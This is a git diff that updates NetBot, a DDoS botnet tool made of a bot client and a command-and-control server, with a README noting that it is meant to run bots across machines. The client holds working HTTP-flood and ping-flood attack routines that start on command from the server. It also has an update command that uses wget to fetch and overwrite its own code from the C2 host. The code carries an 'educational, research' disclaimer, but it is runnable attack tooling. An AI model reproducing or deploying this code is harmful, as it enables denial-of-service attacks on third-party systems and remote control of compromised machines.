diff --git a/README.md b/README.md index 9dfeeb3..19d59f7 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ Requirements Supports -- -- Tested on Debian, Ubuntu, CentOS and MacOS High Sierra. +- Tested on Debian, Ubuntu, CentOS and MacOS High Sierra, Windows 10 IOT, FYI - *Prototype Warning* -- @@ -38,6 +38,7 @@ How do I setup/test _NetBot_? - You can test this software in a single machine itself, but the ultimate point of this software to deploy the client (bots) on different machines and the server code (CCC) on your machine. - **very important** Make sure you modify the CCC server address on the _netbot_client.py_ code, else the bots will not connect to your CCC. - More to be added in Wiki section soon. +- You will need install termcolor, using pip install termcolor diff --git a/netbot_client.py b/netbot_client.py index a5707d1..eaca64f 100644 --- a/netbot_client.py +++ b/netbot_client.py @@ -1,148 +1,146 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # -*- coding: utf-8 -*- # -# Author : Shankar Narayana Damodaran -# Tool : NetBot v1.0 -# -# Description : This is a command & control center client-server code. -# Should be used only for educational, research purposes and internal use only. +# Author : Shankar Narayana Damodaran +# Contributor : CloudsOfVenus +# Tool : NetBot v1.1 +# +# Description : Command & control center client-server code. +# Should be used only for educational, research purposes, and internal use only. # import socket import time import threading -import time -#import requests import os import urllib.request import subprocess import signal +class LaunchAttack: + def __init__(self): + self._running = True + + def terminate(self): + self._running = False + + def run(self, n): + run = 0 + if n[3] == "HTTPFLOOD": + while self._running and attack_set: + url_attack = f'http://{n[0]}:{n[1]}/' + try: + urllib.request.urlopen(url_attack).read() + except Exception as e: + print(f"Error during HTTPFLOOD attack: {e}") + time.sleep(int(n[4])) + + elif n[3] == "PINGFLOOD": + while self._running: + if attack_set: + if run == 0: + url_attack = f'ping {n[0]} -i 0.0000001 -s 65000 > /dev/null 2>&1' + try: + pro = subprocess.Popen( + url_attack, + stdout=subprocess.PIPE, + shell=True, + preexec_fn=os.setsid + ) + run = 1 + except Exception as e: + print(f"Error starting PINGFLOOD attack: {e}") + else: + if run == 1: + os.killpg(os.getpgid(pro.pid), signal.SIGTERM) + run = 0 + break + + +def main(): + # Flags + global attack_set, updated, terminate + attack_set = 0 + updated = 0 + terminate = 0 + + host = '10.0.0.169' # NetBot CCC Server + port = 5555 # NetBot CCC Port + + while True: + try: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.connect((host, port)) # Connect to the CCC Server + message = "HEARTBEAT" # Sends Alive Pings to CCC Server + + while True: + # Send message to server + try: + s.send(message.encode()) + except Exception as e: + print(f"Error sending data to server: {e}") + break + + # Receive message from server + try: + data = s.recv(1024).decode() + except Exception as e: + print(f"Error receiving data from server: {e}") + break + + # Process server response + data = data.split('_') + if len(data) > 1: + att_status, att_host, att_port = data[2], data[0], data[1] + else: + att_status = "OFFLINE" + + print(f'CCC Response: {att_status}') + + if att_status == "LAUNCH": + if attack_set == 0: + attack_set = 1 + attack = LaunchAttack() + attack_thread = threading.Thread(target=attack.run, args=(data,)) + attack_thread.start() + else: + time.sleep(15) + if attack_thread.is_alive(): + print('Attack in Progress...') + elif att_status == "HALT": + attack_set = 0 + time.sleep(30) + elif att_status == "HOLD": + attack_set = 0 + print('Waiting for Instructions from CCC. Retrying in 30 seconds...') + time.sleep(30) + elif att_status == "UPDATE": + if updated == 0: + attack_set = 0 + try: + os.system( + 'wget -N http://192.168.0.174/netbot_client.py -O netbot_client.py > /dev/null 2>&1' + ) + print('Client Libraries Updated') + updated = 1 + except Exception as e: + print(f"Error updating client libraries: {e}") + time.sleep(30) + else: + time.sleep(30) + else: + attack_set = 0 + print('Command Server Offline. Retrying in 30 seconds...') + updated = 0 + time.sleep(30) + except Exception as e: + print(f"Error connecting to CCC Server: {e}. Retrying in 15 seconds...") + time.sleep(15) -class launchAttack: - - def __init__(self): - self._running = True - - def terminate(self): - self._running = False - - def run(self, n): - run = 0 - #terminate = 0 - if n[3]=="HTTPFLOOD": - while self._running and attackSet: - url_attack = 'http://'+n[0]+':'+n[1]+'/' - u = urllib.request.urlopen(url_attack).read() - time.sleep(int(n[4])) - - if n[3]=="PINGFLOOD": - while self._running: - if attackSet: - if run == 0: - url_attack = 'ping '+n[0]+' -i 0.0000001 -s 65000 > /dev/null 2>&1' - pro = subprocess.Popen(url_attack, stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid) - run = 1 - else: - if run == 1: - os.killpg(os.getpgid(pro.pid), signal.SIGTERM) - run = 0 - break - - - -def Main(): - - #Flags - global attackSet - attackSet = 0 - global updated - updated = 0 - global terminate - terminate = 0 - - - host = '192.168.0.174' # NetBot CCC Server - port = 5555 # NetBot CCC Port - - s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Establishing a TCP Connection - try: - s.connect((host,port)) # Connect to the CCC Server - message = "HEARTBEAT" # Sends Alive Pings to CCC Server - - except: - print("CCC Server not online. Retrying every 15 seconds...") - updated = 0 - time.sleep(15) - Main() - - while True: - - # message sent to server - try: - s.send(message.encode()) # use a try catch - - except: - Main() - # message received from server - data = s.recv(1024) - - # print the received message - #print('CCC Response:',str(data.decode())) - - data = str(data.decode()) - data = data.split('_') - #print('CCC Response: ', data) #check list empty code - if len(data) > 1: - - attStatus = data[2] - attHost = data[0] - attPort = data[1] - else: - attStatus = "OFFLINE" - - - print('CCC Response: ', attStatus) - - if attStatus == "LAUNCH": - if attackSet == 0: - # start a new thread and start the attack (create a new process) - attackSet = 1 - c = launchAttack() - t = threading.Thread(target = c.run, args =(data, )) - t.start() - - else: - time.sleep(15) - if t.is_alive(): - print('Attack in Progress...') - #else: - continue - elif attStatus == "HALT": - attackSet = 0 - time.sleep(30) - continue - elif attStatus == "HOLD": - attackSet = 0 - print('Waiting for Instructions from CCC. Retrying in 30 seconds...') - time.sleep(30) - elif attStatus == "UPDATE": - if updated == 0: - attackSet = 0 - os.system('wget -N http://192.168.0.174/netbot_client.py -O netbot_client.py > /dev/null 2>&1') - print('Client Libraries Updated') - updated = 1 - time.sleep(30) - else: - time.sleep(30) - else: - attackSet = 0 - print('Command Server Offline. Retrying in 30 seconds...') - updated = 0 - time.sleep(30) - # close the connection - s.close() if __name__ == '__main__': - Main() \ No newline at end of file + try: + main() + except KeyboardInterrupt: + print("\nExiting NetBot...") diff --git a/netbot_server.py b/netbot_server.py index b3f113e..b9b2be8 100644 --- a/netbot_server.py +++ b/netbot_server.py @@ -1,67 +1,83 @@ -#!/usr/bin/python +#!/usr/bin/env python3 # -*- coding: utf-8 -*- # -# Author : Shankar Narayana Damodaran -# Tool : NetBot v1.0 -# -# Description : This is a command & control center client-server code. -# Should be used for educational, research purposes and internal use only. +# Author : Shankar Narayana Damodaran +# Contributor : CloudsOfVenus +# Tool : NetBot v1.1 +# +# Description : Command & control center client-server code. +# Should be used for educational, research purposes, and internal use only. # - - import socket import threading -from termcolor import colored from importlib import reload +from termcolor import colored -print (""" ______ ______ -| ___ \ _ (____ \ _ +print(colored(""" + ______ ______ +| ___ \\ _ (____ \\ _ | | | | ____| |_ ____) ) ___ | |_ -| | | |/ _ ) _)| __ ( / _ \| _) +| | | |/ _ ) _)| __ ( / _ \\| _) | | | ( (/ /| |__| |__) ) |_| | |__ -|_| |_|\____)\___)______/ \___/ \___)1.0 from https://github.com/skavngr - """) +|_| |_|\\____)\\___)______/ \\___/ \\___)1.1 from https://github.com/skavngr +""", "yellow")) def config(): - import netbot_config - netbot_config = reload(netbot_config) - return netbot_config.ATTACK_STATUS - - -def threaded(c): - while True: - data = c.recv(1024) - if not data: - global connected - connected = connected - 1; - print('\x1b[0;30;41m' + ' Bot went Offline! ' + '\x1b[0m','Disconnected from CCC :', c.getpeername()[0], ':', c.getpeername()[1], '\x1b[6;30;43m' + ' Total Bots Connected:', connected, '\x1b[0m') - break - c.send(config().encode()) + try: + import netbot_config + netbot_config = reload(netbot_config) + return netbot_config.ATTACK_STATUS + except ImportError as e: + print(colored(f"Error importing netbot_config: {e}", "red")) + return "Default Status" - #c.close() #No issues commented earlier. +def threaded(client_socket): + global connected + try: + while True: + data = client_socket.recv(1024) + if not data: + break + response = config() + client_socket.send(response.encode()) + except ConnectionError as e: + print(colored(f"Connection error: {e}", "red")) + finally: + connected -= 1 + client_address = client_socket.getpeername() + print(colored('Bot went Offline!', "red"), + f'Disconnected from CCC: {client_address[0]}:{client_address[1]}', + colored(f'Total Bots Connected: {connected}', "yellow")) + client_socket.close() -def Main(): - host = "0.0.0.0" - port = 5555 - global connected - connected = 0 - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.bind((host, port)) - s.listen(50) - while True: +def main(): + host = "0.0.0.0" + port = 5555 + global connected + connected = 0 - c, addr = s.accept() - connected = connected + 1; - print('\x1b[0;30;42m' + ' Bot is now Online! ' + '\x1b[0m','Connected to CCC :', addr[0], ':', addr[1], '\x1b[6;30;43m' + ' Total Bots Connected:', connected, '\x1b[0m') + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server_socket: + server_socket.bind((host, port)) + server_socket.listen(50) + print(colored("Server started, waiting for connections...", "green")) - threading.Thread(target=threaded, args=(c,)).start() - - #s.close() #No issues uncommented earlier. + while True: + client_socket, addr = server_socket.accept() + connected += 1 + print(colored('Bot is now Online!', "green"), + f'Connected to CCC: {addr[0]}:{addr[1]}', + colored(f'Total Bots Connected: {connected}', "yellow")) + threading.Thread(target=threaded, args=(client_socket,), daemon=True).start() if __name__ == '__main__': - Main() + try: + main() + except KeyboardInterrupt: + print(colored("\nServer shutting down...", "red")) + except Exception as e: + print(colored(f"An error occurred: {e}", "red"))